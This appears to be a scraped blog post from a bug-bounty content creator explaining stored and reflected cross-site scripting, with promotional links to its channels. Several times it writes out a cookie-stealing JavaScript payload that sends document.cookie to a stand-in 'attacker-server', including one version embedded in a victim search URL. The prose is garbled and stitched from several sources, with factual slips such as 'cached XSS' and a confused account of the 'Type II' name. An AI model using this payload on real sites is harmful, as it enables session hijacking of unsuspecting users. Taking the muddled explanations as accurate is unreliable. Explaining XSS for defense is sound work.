Unwrapping Payload Xss: Tips To Secure Your Website – Hello Ajak Amiko, welcome to another blog. Today I will share how to automate XSS payload and automate reflected XSS in my Bug Bounty journey. Please don’t miss the blog as I have covered step by step. Before we start, if you haven’t subscribed to our channel yet, please do so. Cyber security related content Bug rewards and digital forensics👇
Subscribe to our YouTube channel: @ajakcybersecurity (352 videos) Follow us on Instagram: @ajakcybersecurity Follow us on Medium: @medium (40 articles) To read all 40 published blogs, please become a member following my instructions😁👇 https:// medium.com ///membership What is XSS?
Unwrapping Payload Xss: Tips To Secure Your Website
Cross-site scripting (XSS) is a vulnerability in web applications that allows third parties to execute script on behalf of the web application in the user’s browser. Cross-site scripting is one of the most common vulnerabilities on the web. Using XSS on users can lead to a number of consequences, such as account compromise, account deletion, and increased scores. Malware infection, etc.
What Is Cross Site Scripting? Xss Types, Examples, & Protection
A payload is a piece of data used to exploit a vulnerability. It can be a string, file, or even a command. The purpose of a payload is to make the target system do something it shouldn’t. It can be anything from displaying a message to controlling a system.
Want to automatically generate XSS payloads and automate reflected XSS? This tool is specifically for XSS.
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Introduction This document provides an overview of the three main types of XSS attacks. Provides clear definitions with detailed diagrams that clearly explain how to attack. A useful resource for web developers or web application security assessment companies. What is XSS (Cross-Site Scripting)? What is XSS? Cross-site scripting, also known as XSS, is a client-side attack where code is executed in the victim’s browser or by injecting JavaScript into a web application. and the victim visits the vulnerable URL. or trick users into clicking on a link with a payload embedded directly in the URL. The three main types of cross-site scripting – reflected XSS, cached XSS and DOM XSS – are described below. Types of XSS ExplainedStored XSS Definition Stored XSS occurs when user-supplied input is stored and displayed on a web page. Common starting points for cached XSS include message boards. Blog comments User profile and username field Attackers often exploit this vulnerability by injecting an XSS payload into popular pages of a website. or by sending a link to the victim To trick them into viewing a page with a cached XSS payload, the victim visits the page and the payload is executed by the victim’s client-side web browser. Cached XSS is also known as persistent cross-site scripting or XSS. Persistent Stored XSS Attack: The basic example diagram below assumes that an attacker has discovered a cross-site stored script vulnerability in the target web application. And there are ways to deceive or trust. The victim visits a page that contains a cached payload. Common Entry Points for Stored XSS Stored XSS requires the application to store user-supplied input. (make it permanent) and display it on the page The following list identifies common places where cached XSS vulnerabilities may exist: Message forums, blogs, comments, profiles, information pages, admin portal. Looking for a self-assessment of your safety? Visit our penetration testing services page for more details. Common attack vectors for stored XSS Attackers can execute JavaScript of their choice on a victim’s device, so XSS can be used to exploit a number of security vulnerabilities. and/or used in conjunction with other vulnerabilities Web vulnerabilities to exploit higher severity security vulnerabilities Browser redirection Pasting links from browsers Login – Biff (Vulnerable browser redirects) Cookie stealing / Authentication session key hijacking Using XSS to steal tokens CSRF Fraudulent HTML example using the SaCoVuld login form, a blog commenting system that has the misfortune of injecting one XSS on a popular page that is frequently visited by the victim. The following XSS payload attempts to load an image from the server. of the attacker with the victim’s cookie information in the request URL after requesting the image. Attackers can extract the victim’s session ID from web server log filesvar+img=new+image();img.src=”http://attacker-server/ ” + document cookie ;Example of XSS cookie theft recorded Attacker describing XSS cookie theft sends the XSS payload to the victim var+img=new+image();img.src=”http:// attacker-server /” + document .cookie;The victim is requesting a page from the server. Or the attacker tricks the victim into visiting a page or the XSS payload is on a popular page. The web server serves the page with XSS uploaded to the victim’s web browser. The victim’s browser executes the JavaScript payload and an image download request containing the victim’s cookie data is sent to the attacker’s web server. The attacker now has the victim’s session ID. This allows attackers to hijack the session. Definition of Reflected XSS XSS stands for Reflected Cross-site Scripting, also known as Type-II XSS and non-persistent cross-site scripting. Reflected XSS is one of the three main types of XSS: Reflected XSS, XSS. Storage and DOM-based XSS During a Reflected XSS attack, the application does not save the payload. and is returned only in HTML responses. A reflexive scripting vulnerability allows a malicious JavaScript payload such as: alert(1) to be injected into user-supplied input. The payload is sent and reflected in the web server response. and executed on the client The victim’s web browser completes the entire attack with a single request and response. This is where the name XSS comes from. This is why it is sometimes called Type II XSS, because the entire attack is completed in a single request and response. Use a web server to reflect the XSS payload (XSS server) for reflected XSS vulnerabilities. The diagram below shows the testing process for reflected XSS in the example below. A warning box will appear. However, reflected XSS can be used to further leverage web applications. Please see an example of session theft below. General example of Reflected XSS Reflected XSS requires user-supplied input to be reflected on the web page. A common example is a contact form that takes user-supplied input and reflects it in page responses. For example, a form that prints a person’s name after the form is submitted. with the message: “Thank you for your $YourName request. We will get back to you as soon as possible.” The attacker attempts to inject the payload into the form name input field to provide the payload in the response. How can attackers exploit reflected XSS vulnerabilities? Example of session hijacking It’s important to understand that XSS is more than just a warning. The warning box is used only as a proof of concept test. If the attacker is able to execute the chosen JavaScript, there are several options to choose from. Depends on other vulnerabilities in the target environment Session hijacking is a good example of the potential severity of reflected XSS vulnerabilities. Cookie terms are used for session identifiers. Do not set the “HTTPonly” cookie flag. Sufficient Input Validation / Reflected XSS Cleanup Description The attacker must deliver a normal payload to the victim. For example, you can create a payload in a URL like: http: //victim-server?search=var+img=new+image(); img.src=”http://attacker-server / ” + document.cookie;
The above payload attempts to open an existing image file on an attacker-controlled web server + document.cookie. Tag the victim’s cookie information at the end of the URL. The attacker takes the victim’s cookies.
